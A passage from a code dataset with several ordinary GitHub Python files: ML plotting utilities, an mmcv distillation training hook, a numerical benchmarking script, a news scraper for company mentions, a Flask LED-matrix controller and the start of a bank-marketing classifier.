sklearn.preprocessing import StandardScaler, Binarizer, LabelBinarizer, MultiLabelBinarizer\nfrom sklearn.model_selection import GridSearchCV, RandomizedSearchCV, cross_val_score, cross_validate \\\n ,cross_val_predict, GridSearchCV, RandomizedSearchCV\nfrom sklearn.svm import SVC\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn import metrics\nfrom sklearn.metrics import confusion_matrix,recall_score,precision_score, f1_score\nfrom sklearn.model_selection import train_test_split, cross_validate\nfrom sklearn.linear_model import LogisticRegression, LogisticRegressionCV\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.naive_bayes import GaussianNB, MultinomialNB, BernoulliNB\n\nfrom sklearn.metrics import roc_curve, auc\n\nimport itertools\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.externals import joblib\nfrom imblearn.over_sampling import SMOTE\n\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n print(cm)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.tight_layout()\n\ndef confusion_matrices(y_pred):\n # Compute confusion matrix\n cnf_matrix = confusion_matrix(y_test, y_pred)\n np.set_printoptions(precision=2)\n # Plot non-normalized confusion matrix\n plt.figure()\n plot_confusion_matrix(cnf_matrix, classes=['No','Yes'],\n title='Confusion matrix, without normalization')\n plt.figure()\n plot_confusion_matrix(cnf_matrix, classes=['No', 'Yes'], normalize=True,\n title='Confusion matrix, Normalized')\n\ndef plot_roc_curve(fit_model, title):\n y_score=fit_model.predict_proba(X_test)[:,1]\n fpr, tpr,_ = roc_curve(y_test, y_score)\n roc_auc = auc(fpr, tpr)\n\n plt.figure(figsize=(6,6))\n # Plotting the Baseline\n plt.plot([0,1],[0,1])\n plt.plot(fpr,tpr)\n plt.grid(which='major')\n plt.title(f\"{title} ROC curve\")\n s= 'AUC: ' + str(round(metrics.roc_auc_score(y_test, fit_model.predict(X_test)),3))\n plt.text(0.75, 0.25, s=s, ha='right', va='bottom', fontsize=14,\n bbox=dict(facecolor='grey', alpha=0.5))\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate');\n\ndef number_of_uniques(df):\n for i in df.columns:\n print(i,\":\", len(df[i].unique()))\n \ndef number_of_NaN(df):\n for i in df.columns:\n if df[i].isna().sum() != 0:\n print(i,\":\", df[i].isna().sum())", "repo_name": "spencertollefson/okcupid_classification", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4156, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.set_option", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 21, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.set_option", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 49, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.newaxis", "line_number": 55, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.set_printoptions", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 94, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_auc_score", "line_number": 103, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}]} +{"seq_id": "310748467", "text": "import os\nimport tempfile\nimport shutil\n\nimport torch\nimport torch.distributed as dist\n\nimport mmcv\nfrom mmcv.runner.hooks import Hook, HOOKS\nfrom mmcv.runner.dist_utils import get_dist_info\n\nfrom third_party.kd.mmdet.strategy.builder import build_strategy\n\n\n@HOOKS.register_module()\nclass PGMHook(Hook):\n def __init__(self, pgm_cfg, data):\n super(PGMHook, self).__init__()\n self.pgm_cfg = pgm_cfg\n self.data = data\n self.openmetric_strategy = build_strategy(pgm_cfg.strategy_cfg)\n\n def before_train_epoch(self, runner):\n rank, _ = get_dist_info()\n epoch_now = int(runner.epoch / runner.prototype_each_epoch)\n pgm_feat_path = os.path.join(runner.work_dir, 'pgm/epoch_' + str(epoch_now))\n if not os.path.exists(pgm_feat_path):\n dist.barrier()\n if rank == 0:\n print('***********************************************')\n print('Begin to generate prototype in: {}'.format(pgm_feat_path))\n mmcv.mkdir_or_exist(pgm_feat_path)\n dist.barrier()\n self.pgm_generator(pgm_feat_path, runner, self.data.train)\n if rank == 0:\n if runner.epoch + 1 <= self.pgm_cfg.strategy_cfg['save_ckpt_min']:\n ckpt_path = os.path.join(runner.work_dir, 'epoch_{}.pth').format(runner.epoch)\n if os.path.exists(ckpt_path):\n os.remove(ckpt_path)\n dist.barrier()\n\n\n def pgm_generator(self, save_path, runner, pgm_dataset):\n tea_checkpoint = self.pgm_cfg.runtime_cfg.checkpoints[0]\n\n if runner.epoch == 0:\n stu_checkpoint = self.pgm_cfg.runtime_cfg.checkpoints[1]\n else:\n stu_checkpoint = os.path.join(runner.work_dir, 'epoch_' + str(runner.epoch) + '.pth')\n\n cls_names = []\n max_samples = []\n max_num_prototypes = []\n cls_names_file = mmcv.load(self.data.train.classes_config)\n\n for cls in cls_names_file['classes']:\n cls_names.append(cls)\n max_samples.append(self.pgm_cfg.runtime_cfg.max_samples)\n max_num_prototypes.append(self.pgm_cfg.runtime_cfg.max_num_prototypes)\n\n self.pgm_cfg.runtime_cfg.checkpoints = [tea_checkpoint, stu_checkpoint]\n self.pgm_cfg.runtime_cfg.pseudolabel_path = pgm_dataset.ann_file\n self.pgm_cfg.runtime_cfg.cls_names = cls_names\n self.pgm_cfg.runtime_cfg.max_samples = max_samples\n self.pgm_cfg.runtime_cfg.pgm_dataset = pgm_dataset\n self.pgm_cfg.runtime_cfg.max_num_prototypes = max_num_prototypes\n self.pgm_cfg.runtime_cfg.save_path = save_path\n self.openmetric_strategy(**self.pgm_cfg.runtime_cfg)", "repo_name": "hikvision-research/DAVAR-Lab-ML", "sub_path": "ECCV22_Distilling_Object_Detectors_with_Global_Knowledge/ObjectPerceptron/mmdetection/third_party/kd/mmcv/runner/hooks/pgm_hook.py", "file_name": "pgm_hook.py", "file_ext": "py", "file_size_in_byte": 2687, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "86", "api": [{"api_name": "mmcv.runner.hooks.Hook", "line_number": 16, "usage_type": "name"}, {"api_name": "third_party.kd.mmdet.strategy.builder.build_strategy", "line_number": 21, "usage_type": "call"}, {"api_name": "mmcv.runner.dist_utils.get_dist_info", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.distributed.barrier", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 28, "usage_type": "name"}, {"api_name": "mmcv.mkdir_or_exist", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.distributed.barrier", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 33, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.distributed.barrier", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.distributed", "line_number": 40, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "mmcv.load", "line_number": 54, "usage_type": "call"}, {"api_name": "mmcv.runner.hooks.HOOKS.register_module", "line_number": 15, "usage_type": "call"}, {"api_name": "mmcv.runner.hooks.HOOKS", "line_number": 15, "usage_type": "name"}]} +{"seq_id": "4552843495", "text": "import time\n\nimport numpy as np\nfrom scipy import integrate as scInt\n\n# ==================================================================================================================== #\n# test function and correct result\n\nN_sum = int(1E+6)\ndata_sum = [i for i in range(N_sum)]\ncorrect_sum = lambda N: N * (N - 1) // 2\n\nupper_bound_integral = np.pi\ndt = 1E-5\nintegrand = lambda x: np.sin(x)\ncorrect_integral = lambda x: 1 - np.cos(x)\n\nN_list = int(1E+5)\n\nN_search = int(1E+7)\nsearch_data = [(-1) ** i for i in range(N_search)]\nsearch_term = +1\ncorrect_search = N_search // 2\n\n# ==================================================================================================================== #\n# helper functions and constants\n\ndef timed(f):\n def inner(*args, **kwargs):\n tic = time.perf_counter()\n result = f(*args, **kwargs)\n toc = time.perf_counter()\n return result, toc - tic, f.__name__\n return inner\n\n\ntable_header = \"name | delta to correct | runtime\"\ntable_separator = \"-------------------------+------------------+-------------\"\ntable_fields = \"{name:25}|{delta:18.4E}|{runtime:10.3f} ms\"\n\ndef print_result_line(result, category):\n delta = 0\n if category == \"integral\":\n delta = result[0] - correct_integral(upper_bound_integral)\n elif category == \"sum\":\n delta = result[0] - correct_sum(N_sum)\n elif category == \"search\":\n delta = result[0] - correct_search\n else :\n delta = float(\"nan\")\n\n print(table_fields.format(name=result[2],\n delta=delta,\n runtime=result[1] * 1000))\n\n# ==================================================================================================================== #\n# summation\n# all of these functions compute the sum of an array of integers\n\n@timed\ndef sum_naive():\n result = 0\n for num in data_sum:\n result += num\n return result\n\n@timed\ndef sum_builtin():\n return sum(i for i in data_sum)\n\n@timed\ndef sum_numpy():\n return np.array(data_sum).sum()\n\n@timed\ndef sum_numpy_no_allocate(data):\n return data.sum()\n\n@timed\ndef sum_expression():\n return correct_sum(N_sum)\n\n# -------------------------------------------------------------------------------------------------------------------- #\n# integration\n# all of these compute the integral from 0 to pi over sin(t) dt\n\n@timed\ndef integral_naive(dt):\n result = 0\n x = 0\n while x < upper_bound_integral:\n result += integrand(x) * dt\n x += dt\n return result\n\n@timed\ndef integral_numpy(dt):\n return integrand(np.arange(0, upper_bound_integral, dt)).sum() * dt\n\n@timed\ndef integral_scipy_quad():\n return scInt.quad(integrand, 0, upper_bound_integral)[0]\n\n@timed\ndef integral_scipy_gaussian():\n return scInt.fixed_quad(integrand, 0, upper_bound_integral)[0]\n\n@timed\ndef integral_expression():\n return correct_integral(upper_bound_integral)\n\n# ==================================================================================================================== #\n# building a list\n# all of these functions create a list of integers with values 0..N_list\n\n@timed\ndef list_comprehension():\n return [i for i in range(N_list)]\n\n@timed\ndef list_append():\n result = []\n for i in range(N_list) :\n result.append(i)\n return result\n\n@timed\ndef list_numpy_arange():\n return np.arange(N_list)\n\n@timed\ndef list_numpy_append():\n result = np.array([])\n for i in range(N_list):\n result = np.append(result, i)\n return result\n\n# ==================================================================================================================== #\n# count test\n# all of these count how often a search term appears in a list of integers\n\n@timed\ndef count_naive(data, search):\n result = 0\n for element in data:\n if element == search : result += 1\n return result\n\n@timed\ndef count_builtin(data, search):\n return data.count(search)\n\n@timed\ndef count_numpy(data, search):\n return np.count_nonzero(np.array(data) == search)\n\n# ==================================================================================================================== #\n\nif __name__ == '__main__':\n print(table_header)\n print(table_separator)\n\n print_result_line(sum_naive(), \"sum\")\n print_result_line(sum_builtin(), \"sum\")\n print_result_line(sum_numpy(), \"sum\")\n data = np.arange(N_sum)\n print_result_line(sum_numpy_no_allocate(data), \"sum\")\n print_result_line(sum_expression(), \"sum\")\n\n print(table_separator)\n\n print_result_line(integral_naive(dt), \"integral\")\n print_result_line(integral_numpy(dt), \"integral\")\n print_result_line(integral_scipy_quad(), \"integral\")\n print_result_line(integral_scipy_gaussian(), \"integral\")\n print_result_line(integral_expression(), \"integral\")\n\n print(table_separator)\n\n print_result_line(list_comprehension(), \"list\")\n print_result_line(list_append(), \"list\")\n print_result_line(list_numpy_arange(), \"list\")\n print_result_line(list_numpy_append(), \"list\")\n\n print(table_separator)\n\n search_data_np = np.array(search_data)\n print_result_line(count_naive(search_data, search_term), \"search\")\n print_result_line(count_builtin(search_data, search_term), \"search\")\n print_result_line(count_numpy(search_data, search_term), \"search\")\n print_result_line(count_numpy(search_data_np, search_term), \"search\")", "repo_name": "TheBlueChameleon/Py_ForScientists", "sub_path": "projects/05-timed_sums/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 5442, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.pi", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.sin", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 16, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 30, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 98, "usage_type": "call"}, {"api_name": "scipy.integrate.quad", "line_number": 102, "usage_type": "call"}, {"api_name": "scipy.integrate", "line_number": 102, "usage_type": "name"}, {"api_name": "scipy.integrate.fixed_quad", "line_number": 106, "usage_type": "call"}, {"api_name": "scipy.integrate", "line_number": 106, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.count_nonzero", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 187, "usage_type": "call"}]} +{"seq_id": "23263125044", "text": "import calendar\nimport datetime\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport re\n\nfrom models import Mention, MentionTypes\n\nNAME = \"panorama\"\n\nPANORAMA_URL = \"https://panorama.pub\"\n\n\ndef get_pubs():\n page = requests.get(PANORAMA_URL)\n soup = BeautifulSoup(page.text, \"html.parser\")\n raw_articles = soup.find_all('a', {'href': re.compile(r'/news/*')})\n pubs = {}\n for article in raw_articles:\n try:\n article_url = PANORAMA_URL + article['href']\n\n meta = article.find_all('div')\n title = meta[len(meta) - 1].contents[0].strip()\n\n article_page = requests.get(article_url)\n article_soup = BeautifulSoup(article_page.text, \"html.parser\")\n\n date = article_soup.find('meta', {'itemprop': 'datePublished'})['content']\n timestamp = calendar.timegm(\n datetime.datetime.strptime(date, \"%Y-%m-%d\").timetuple()\n )\n\n content_block = article_soup.find('div', {'itemprop': \"articleBody\"})\n paragraphs = content_block.find_all('p')\n content = \"\"\n for paragraph in paragraphs:\n content += paragraph.contents[0] + '\\n'\n pubs[article_url] = {\n 'url': article_url,\n 'timestamp': timestamp,\n 'title': title,\n 'content': content\n }\n except Exception:\n continue\n return list(pubs.values())\n\n\ndef search_for_company(pubs, company_name) -> list[Mention]:\n mentions = []\n for pub in pubs:\n if re.search(company_name, pub[\"content\"], re.IGNORECASE):\n mentions.append(Mention(company_name=company_name,\n url=pub[\"url\"],\n title=pub[\"title\"],\n timestamp=pub[\"timestamp\"],\n content=pub[\"content\"],\n type=MentionTypes.MEM))\n return mentions\n\n\ndef get_last_mentions(company_name) -> list[Mention]:\n all_pubs = get_pubs()\n mentions = search_for_company(all_pubs, company_name)\n return mentions\n", "repo_name": "amgfrthsp/company_mentions", "sub_path": "src/extractor/extractors/panorama_extractor.py", "file_name": "panorama_extractor.py", "file_ext": "py", "file_size_in_byte": 2165, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "requests.get", "line_number": 16, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 17, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 18, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 28, "usage_type": "call"}, {"api_name": "calendar.timegm", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 32, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 32, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 54, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 54, "usage_type": "attribute"}, {"api_name": "models.Mention", "line_number": 55, "usage_type": "call"}, {"api_name": "models.MentionTypes.MEM", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.MentionTypes", "line_number": 60, "usage_type": "name"}, {"api_name": "models.Mention", "line_number": 51, "usage_type": "name"}, {"api_name": "models.Mention", "line_number": 64, "usage_type": "name"}]} +{"seq_id": "18214540999", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import linalg\n\ndef calculate_means():\n numelems = int(1e5)\n \n data = np.load('single_gaussians_sizes=2_locs=2.npy')\n tot_data = np.reshape(data, (1000,28,28))\n tot_mean = tot_data.mean(0)\n \n U, s, Vh = linalg.svd(data)\n print(Vh)\n\n plt.imshow(tot_mean)\n plt.show()\n\n groupOne = np.load('groupOne.npy')\n groupOne_data = np.reshape(groupOne, (numelems,28,28))\n groupOne_mean = groupOne_data.mean(0)\n\n plt.imshow(groupOne_mean)\n plt.show()\n\n groupTwo = np.load('groupTwo.npy')\n groupTwo_data = np.reshape(groupTwo, (numelems,28,28))\n groupTwo_mean = groupTwo_data.mean(0)\n\n plt.imshow(groupTwo_mean)\n plt.show()\n\n groupThree = np.load('groupThree.npy')\n groupThree_data = np.reshape(groupThree, (numelems,28,28))\n groupThree_mean = groupThree_data.mean(0)\n\n plt.imshow(groupThree_mean)\n plt.show()\n\n groupFour = np.load('groupFour.npy')\n groupFour_data = np.reshape(groupFour, (numelems,28,28))\n groupFour_mean = groupFour_data.mean(0)\n \n plt.imshow(groupFour_mean)\n plt.show()\n\n\n\nif __name__ == \"__main__\":\n calculate_means()\n", "repo_name": "CFarzaneh/single_gaussians_sizes-2_locs-2", "sub_path": "data/groupTest.py", "file_name": "groupTest.py", "file_ext": "py", "file_size_in_byte": 1182, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.load", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 9, "usage_type": "call"}, {"api_name": "scipy.linalg.svd", "line_number": 12, "usage_type": "call"}, {"api_name": "scipy.linalg", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "numpy.load", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}]} +{"seq_id": "14323388810", "text": "import sys\nimport time\nfrom flask import Flask, render_template, redirect, url_for\nfrom threading import Thread\nimport signal\n\nfrom matrix.Matrix import Matrix\n\nfrom apps import apps\n\nPIX_SIZE = 20\nWIDTH = 28\nHEIGHT = 22\n\nmatrix = Matrix(WIDTH, HEIGHT, PIX_SIZE)\n\ncurrent_app = None\n\n\ndef switch_app(app):\n global current_app\n if app and isinstance(current_app, app):\n return\n if current_app:\n current_app.exit()\n del current_app\n if app:\n current_app = app(matrix)\n else:\n current_app = None\n\n\nweb = Flask(__name__)\n\n\n@web.route('/')\ndef index():\n return render_template('index.html', apps=apps)\n\n\n@web.route('/off')\ndef off():\n switch_app(None)\n return redirect(url_for('index'))\n\n\n@web.route('/switch/')\ndef switch_route(app_id):\n switch_app(apps[app_id])\n return redirect(url_for('index'))\n\n\nweb_thread = Thread(target=lambda: web.run(host='0.0.0.0', port=80))\nweb_thread.daemon = True\nweb_thread.start()\n\n\ndef terminate():\n if current_app:\n current_app.exit()\n global matrix\n del matrix\n sys.exit(0)\n\n\nsignal.signal(signal.SIGTERM, terminate)\n\nwhile True:\n if current_app:\n current_app.update(0)\n else:\n matrix.fill((1, 1, 1))\n matrix.run()\n", "repo_name": "JonaMata/WALL-E", "sub_path": "framework.py", "file_name": "framework.py", "file_ext": "py", "file_size_in_byte": 1265, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matrix.Matrix", "line_number": 15, "usage_type": "name"}, {"api_name": "matrix.Matrix.Matrix", "line_number": 15, "usage_type": "call"}, {"api_name": "matrix.Matrix", "line_number": 28, "usage_type": "argument"}, {"api_name": "flask.Flask", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 38, "usage_type": "call"}, {"api_name": "apps.apps", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 44, "usage_type": "call"}, {"api_name": "apps.apps", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 50, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 53, "usage_type": "call"}, {"api_name": "matrix.Matrix", "line_number": 62, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 63, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 66, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 66, "usage_type": "attribute"}, {"api_name": "matrix.Matrix.fill", "line_number": 72, "usage_type": "call"}, {"api_name": "matrix.Matrix", "line_number": 72, "usage_type": "name"}, {"api_name": "matrix.Matrix.run", "line_number": 73, "usage_type": "call"}, {"api_name": "matrix.Matrix", "line_number": 73, "usage_type": "name"}]} +{"seq_id": "365861067", "text": "import pandas as pd\nimport numpy as np\nimport sys\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.feature_selection import RFE\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn.compose import ColumnTransformer\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.impute import SimpleImputer\nfrom collections import Counter\nfrom sklearn.metrics import confusion_matrix\nfrom imblearn.over_sampling import SMOTE\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import precision_score\n\n# load data\ndf = pd.read_csv('bank-full.csv', delimiter=';', skipinitialspace=True)\n\n# split inputs and outputs\nX = df.drop(columns=['y'])\ny = df['y']\n\n# split to training and testing sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state=0)\n\n#print(\"X_train: \", X_train.shape)\n#print(\"y_train \", y_train.shape)\n#print(\"X_test: \", X_test.shape)\n#print(\"y_test: \", y_test.shape)\n\n# columns with numeric value\nnumeric_features = X_train.select_dtypes(include=['float64', 'int64']).columns.values\nnumeric_features = numeric_features[numeric_features != 'y']\n\n# columns with text value --> will be transformed\ncategory_features = X_train.select_dtypes(include=['object', 'bool']).columns.values\n\n#print(numeric_features)\n#print(category_features)\n\n# function for splitting columns with text value to each value having own column\ndef dummify(ohe, x, columns):\n transformed_array = ohe.transform(x)\n\n enc = ohe.named_transformers_['cat'].named_steps['onehot']\n feature_lst = enc.get_feature_names(category_features.tolist()) \n \n cat_colnames = np.concatenate([feature_lst]).tolist()\n all_colnames = numeric_features.tolist() + cat_colnames \n \n df = pd.DataFrame(transformed_array, index = x.index, columns = all_colnames)\n \n return transformed_array, df\n\n# replace missing values with medians and scale values\nnumeric_transformer = Pipeline(steps=[\n ('imputer', SimpleImputer(strategy='median')),\n ('scaler', StandardScaler())])\n\n# replace missing values and onehot encoding\ncategorical_transformer = Pipeline(steps=[\n ('imputer', SimpleImputer(strategy='constant', fill_value='missing')),\n ('onehot', OneHotEncoder(handle_unknown='ignore'))])\n\n# transfrom\npreprocessor = ColumnTransformer(\n transformers=[\n ('num', numeric_transformer, numeric_features),\n ('cat', categorical_transformer, category_features)])\n\nohe = 